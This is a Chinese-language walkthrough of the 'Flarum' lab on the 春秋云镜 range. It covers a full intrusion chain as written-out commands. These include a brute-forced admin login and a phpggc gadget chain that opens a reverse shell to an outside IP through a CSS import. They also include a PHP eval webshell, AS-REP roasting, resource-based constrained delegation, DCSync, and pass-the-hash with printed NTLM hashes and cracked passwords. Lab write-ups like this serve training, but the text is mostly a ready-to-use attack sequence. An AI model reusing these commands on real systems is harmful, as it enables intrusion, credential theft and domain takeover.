春秋云镜-Flarum
fscan先扫一波
一个80端口
这个登录的话是不需要进行验证码或者别的验证东西 所以我们可以进行爆破·
用那个rockyou.txt就行了
1 | administrator::1chris |
爆破出密码后进行登录后台
这个cms的话其实就是跟题目给的名字是一样的 Flarum
直接去找洞就行了
这里用p牛的一篇文章来参考
https://tttang.com/archive/1714/#toc_0x02-css
先下载一个phpggc
https://github.com/ambionics/phpggc 就是php版的yso
1 | ./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/101.42.39.110/3389 0>&1'" |
编译成功后会生成一大堆base64代码,复制过来,在后台修改css那里替换下面代码的xxx
1 | @import (inline) 'data:text/css;base64,xxx'; |
保存之后 开启监听 并且重新写一个css进去
1 | .test { |
低权限 估计要提权拿flag了 先弹个马到msf上
(这里用的是capabilities 这个的话就是将权限更加细分了而已 不在一股脑除了root就是www-data)
查看cap权限
1 | getcap -r / 2>/dev/null |
这个openssl我们可以利用 (flag文件位置已知)
1 | openssl enc -in "/root/flag/flag01.txt" |
接下来就是扫内网挂代理了
整理信息
1 | 172.22.60.52 getshell |
收集完信息后 没有思路了 回去到刚刚获取到的shell的主机上看看 有没有数据库或者啥重要的信息
在网站目录下复现一个config.php的配置文件 里面有数据库 但是只能本地连接 我们上传个adminer.php
上去
写个马用蚁剑传
1 | echo "<?php @eval(\$_POST[1]);?>" > 1.php |
试了一下 发现只有assets是我们有权限写文件进去的
我们将这个表里的内容全部以csv的格式导出 然后execl打开 然后我们就能提取到email这个列的所有数据了
这个盲猜一手 AS-REP Roasting
1 | proxychains4 impacket-GetNPUsers -dc-ip 172.22.60.8 xiaorang.lab/ -usersfile flarum_users.txt |
这里返回的hash值是session_key的 我们能爆破出用户的密码是因为这个session_key是由用户的密码hash值进行加密的
然后使用hashcat进行爆破(只爆破出了一个)
1 | hashcat -a 0 -m 18200 --force 1.txt rockyou.txt |
wangyun@XIAORANG.LAB::Adm12geC
1 | proxychains4 crackmapexec smb 172.22.60.15 -u wangyun -p Adm12geC -d xiaorang.lab |
并且这个ip还开了3389端口 尝试rdp
卓面上有个xshell 但是只能知道用户名 却不知道密码
使用https://github.com/JDArmy/SharpXDecrypt/ 这个工具 可以帮助我们获取到这个zhangxin用户的密码
获取到了该密码
在域内
并且还是*Account Operators这个组的成员
还是这个电脑的用户
用sharphound.exe跑一下
1 | proxychains bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp |
这下思路就清晰了
这里可以发现zhangxin用户属于Acount Operators, 因此对域内非域控的所有机器都具有GenericAll权限
所以这里就可以打RBCD
了
接下来三步走就行了
1 | proxychains python3 addcomputer.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd' |
1 | proxychains python3 rbcd.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -action write -delegate-to 'FILESERVER$' -delegate-from 'TEST$' |
1 | proxychains python3 getST.py xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/FILESERVER.xiaorang.lab -impersonate Administrator -dc-ip 172.22.60.8 |
这里话我们就获取到FILESERVER$这个机器的TGT票据了
然后直接注入本地来无密码登录
1 | export KRB5CCNAME=administrator.ccache |
修改/etc/hosts 不然等会域名解析会失败
然后无密码登录到FILESERVER$这个机器上 并且是system权限的
1 | proxychains python3 psexec.py Administrator@FILESERVER.xiaorang.lab -k -no-pass -dc-ip 172.22.60.8 -codec gbk |
然后就能拿flag了 然后因为这个FILESERVER$具有DCSync
权限
(因为我们是system权限了 所以我们能导出这台机器的本地hash值)
1 | proxychains python3 secretsdump.py -k -no-pass Fileserver.xiaorang.lab -dc-ip 172.22.60.8 |
获取到了这台机器的hash值后 我们还是用上面的脚本 只不过这次是DCSync
了
1 | proxychains python3 secretsdump.py xiaorang.lab/'Fileserver$':@172.22.60.8 -hashes ':951d8a9265dfb652f42e5c8c497d70dc' -just-dc-user Administrator |
获取到域控hash之后 直接PTH打域控和其他机器了
1 | proxychains python3 wmiexec.py -hashes :c3cfdc08527ec4ab6aa3e630e79d349b Administrator@172.22.60.8 -codec gbk |
1 | proxychains python3 wmiexec.py -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/Administrator@172.22.60.15 -codec gbk |
结束了